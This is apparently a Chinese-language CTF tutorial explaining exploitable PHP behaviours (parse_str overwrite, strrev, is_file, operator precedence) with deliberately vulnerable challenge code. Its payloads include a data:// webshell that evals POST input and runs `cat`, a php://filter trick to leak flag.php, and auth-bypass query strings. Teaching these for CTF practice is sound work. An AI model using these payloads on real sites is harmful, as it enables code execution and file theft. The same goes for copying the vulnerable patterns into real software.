CTF中的PHP特性函數解析之下篇
前言
上篇文章講的進階一些的PHP特性不知道大家吸收的怎么樣了,今天作為本PHP特性函數的最后一篇,我也會重點介紹一些有趣的PHP特性以及利用方法,下面開始我們今天的內容分享。
parse_str

parse_str()這個函數會把查詢字符串解析到變量中。那么我們如何利用它的特性呢,我們看下面的例子:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
} ?>
分析一下代碼要求我們什么,看最后要我們數組v2等于md5(v3),而根據上面代碼v2則是由該函數經過v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數的特點將v2[flag]的值覆蓋,那么具體要怎樣做呢?
先對數字5進行md5加密:
<?php
$b=md5('5');
echo $b;// e4da3b7fbbce2345d7772b0674a318d5
?>
之后再從v1傳入我們的值即可完成繞過:
Payload: GET:v3=5 POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5
strrev

這個函數還是很好理解的,就是將字符串進行翻轉,曾經遇到過考察這個的題目覺得很有趣分享給大家,我們先看代碼:
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
代碼很簡單,第一個是高亮代碼沒有什么用,要我們傳入file而且要使回文數等于它本身并且還要考慮如何進行攻擊,是不是不太好想,這里使用php里面的data協(xié)議,該協(xié)議可以進行寫入數據,而且?>閉合后可以加任意字符不會受別的影響。于是我們構造代碼:
data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;
可以看到思路還是挺巧妙的。
is_file

該函數檢測是不是一個常規(guī)的文件類型,在CTF中也出過繞過這個函數的題目,下面我們先看看代碼:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} ?>
分析一下filter函數過濾了很多關鍵字符串對我們的輸入進行限制,最后還不能讓is_file檢測出來是文件,那我們要怎樣讀取flag.php文件呢,看最后有個高亮file的操作,這里就是利用點,我們要讓其等于flag文件,于是需要繞過:
這里 根據特性is_file不會識別php偽協(xié)議,于是我們構造下面代碼:
php://filter/read=convert.quoted-printable-encode/resource=flag.php
這樣傳入即可繞過檢測。
優(yōu)先級問題
在php里存在以下優(yōu)先級特性:
&&與||的優(yōu)先級高于=,而&&優(yōu)先級高于||
=的優(yōu)先級高于and與or
這里也可以作為考點來考,我們看下面代碼:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
我們需要傳入三個參數,之后進行類型的強制轉換,再通過判斷語句,最后需要code參數等于admin方可解題,根據優(yōu)先級原則,所以當第一個判斷條件為true時,直接跳過第二個條件然后判斷第三個條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構造payload:
?code=admin&password=1&username=admin
結語
本文到這就結束了,這篇文章講了幾個比較有趣而且有一些難度的特性知識,不知道大家吸收的咋樣了,當然PHP特性遠沒有這么少,更多關于CTF PHP特性函數的資料請關注腳本之家其它相關文章!
相關文章
Thinkphp5框架實現(xiàn)圖片、音頻和視頻文件的上傳功能詳解
這篇文章主要介紹了Thinkphp5框架實現(xiàn)圖片、音頻和視頻文件的上傳功能,結合實例形式分析了thinkPHP5文件上傳的原理、操作步驟、實現(xiàn)方法及相關注意事項,需要的朋友可以參考下2019-08-08

